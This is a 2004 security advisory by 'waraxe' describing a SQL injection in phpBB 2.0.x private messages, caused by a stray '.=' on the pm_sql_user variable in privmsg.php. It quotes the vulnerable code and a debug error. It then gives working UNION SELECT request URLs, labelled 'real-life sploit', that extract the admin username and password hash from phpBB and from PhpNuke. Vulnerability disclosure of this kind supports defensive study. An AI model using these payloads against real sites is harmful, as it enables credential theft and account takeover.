Author: Janek Vind "waraxe"
Date: 26. March 2004
Location: Estonia, Tartu



Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


PhpBB is widely used and very popular forum software, written in php.
Homepage: http://www.phpbb.com/



Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

PhpBB 2.0.x is written very carefully and securely. But even there can be bugs, which
will give to potential malicious attacker sensitive information from database - admin's
username and password's md5 hash.

So, let's look at original code from privmsg.php line 189:


*************************************************************************************

// SQL to pull appropriate message, prevents nosey people
// reading other peoples messages ... hopefully!
//
switch( $folder )
{
case 'inbox':
$l_box_name = $lang['Inbox'];
$pm_sql_user = "AND pm.privmsgs_to_userid = " . $userdata['user_id'] . "
AND ( pm.privmsgs_type = " . PRIVMSGS_READ_MAIL . "
OR pm.privmsgs_type = " . PRIVMSGS_NEW_MAIL . "
OR pm.privmsgs_type = " . PRIVMSGS_UNREAD_MAIL . " )";
break;
case 'outbox':
$l_box_name = $lang['Outbox'];
$pm_sql_user = "AND pm.privmsgs_from_userid = " . $userdata['user_id'] . "
AND ( pm.privmsgs_type = " . PRIVMSGS_NEW_MAIL . "
OR pm.privmsgs_type = " . PRIVMSGS_UNREAD_MAIL . " ) ";
break;
case 'sentbox':
$l_box_name = $lang['Sentbox'];
$pm_sql_user = "AND pm.privmsgs_from_userid = " . $userdata['user_id'] . "
AND pm.privmsgs_type = " . PRIVMSGS_SENT_MAIL;
break;
case 'savebox':
$l_box_name = $lang['Savebox'];
$pm_sql_user .= "AND ( ( pm.privmsgs_to_userid = " . $userdata['user_id'] . "
AND pm.privmsgs_type = " . PRIVMSGS_SAVED_IN_MAIL . " )
OR ( pm.privmsgs_from_userid = " . $userdata['user_id'] . "
AND pm.privmsgs_type = " . PRIVMSGS_SAVED_OUT_MAIL . " )
)";
break;
default:
message_die(GENERAL_ERROR, $lang['No_such_folder']);
break;
}

//
// Major query obtains the message ...
//
$sql = "SELECT u.username AS username_1, u.user_id AS user_id_1, u2.username AS username_2, u2.user_id AS user_id_2, u.user_sig_bbcode_uid, u.user_posts, u.user_from, u.user_website, u.user_email, u.user_icq, u.user_aim, u.user_yim, u.user_regdate, u.user_msnm, u.user_viewemail, u.user_rank, u.user_sig, u.user_avatar, pm.*, pmt.privmsgs_bbcode_uid, pmt.privmsgs_text
FROM " . PRIVMSGS_TABLE . " pm, " . PRIVMSGS_TEXT_TABLE . " pmt, " . USERS_TABLE . " u, " . USERS_TABLE . " u2
WHERE pm.privmsgs_id = $privmsgs_id
AND pmt.privmsgs_text_id = pm.privmsgs_id
$pm_sql_user
AND u.user_id = pm.privmsgs_from_userid
AND u2.user_id = pm.privmsgs_to_userid";

*****************************************************************************

As we can see, for some reason there is "$pm_sql_user .=" in case of 'savebox'. Funny thing is, that
this little bug can open critical security hole to forum. First, let's try this:

http://localhost/phpbb206c/privmsg.php?folder=savebox&mode=read&p=99&pm_sql_user=foobar

and we get error message:

General Error

Could not query private message post information

DEBUG MODE

SQL Error : 1064 You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near 'foobarAND ( ( pm.privmsgs_to_userid = 2 AND pm.privmsgs_t

SELECT u.username AS username_1, u.user_id AS user_id_1, u2.username AS username_2, u2.user_id AS user_id_2, u.user_sig_bbcode_uid, u.user_posts, u.user_from, u.user_website, u.user_email, u.user_icq, u.user_aim, u.user_yim, u.user_regdate, u.user_msnm, u.user_viewemail, u.user_rank, u.user_sig, u.user_avatar, pm.*, pmt.privmsgs_bbcode_uid, pmt.privmsgs_text FROM phpbb_privmsgs pm, phpbb_privmsgs_text pmt, phpbb_users u, phpbb_users u2 WHERE pm.privmsgs_id = 99 AND pmt.privmsgs_text_id = pm.privmsgs_id foobarAND ( ( pm.privmsgs_to_userid = 2 AND pm.privmsgs_type = 3 ) OR ( pm.privmsgs_from_userid = 2 AND pm.privmsgs_type = 4 ) ) AND u.user_id = pm.privmsgs_from_userid AND u2.user_id = pm.privmsgs_to_userid

Line : 238
File : D:apache_wwwrootphpbb206cprivmsg.php


Next, if we request this:

http://localhost/phpbb206c/privmsg.php?folder=savebox&mode=read&p=99&pm_sql_user=AND%20pm.privmsgs_type=-99%20UNION%20SELECT%20null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null/*

then we don't get any error messages. Now it's time to do something "useful":

********************[real-life sploit]********************


http://localhost/phpbb206c/privmsg.php?folder=savebox&mode=read&p=99&pm_sql_user=AND%20pm.privmsgs_type=-99%20UNION%20SELECT%20username,null,user_password,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null FROM phpbb_users WHERE user_level=1 LIMIT 1/*


********************[/real-life sploit]*******************

and we will see in plaintext admin's username and password's md5 hash ;)

And to all PhpNuke 6.x and 7.x users, here is something for you:

http://localhost/nuke69j1/modules.php?name=Private_Messages&file=index&folder=savebox&mode=read&p=99&pm_sql_user=AND%20pm.privmsgs_type=-99%20UNION%20SELECT%20aid,null,pwd,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null%20FROM%20nuke_authors%20WHERE%20radminsuper=1%20LIMIT%201/*



Post Scriptum:

I really enjoy reading of the PhpBB 2.x code, because it is written with good style and it's
very secure. To all php programmers - I recommend to read the file "docscodingstandards.htm" from
phpbb package, it will help to learn good style of the programming!




Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to torufoorum members and to all bugtraq readers in Estonia! Tervitused!
Special greets to Stefano from UT Bee Clan!



Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

---------------------------------- [ EOF ] ------------------------------------

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Published on: 2005-01-06 (8610 reads)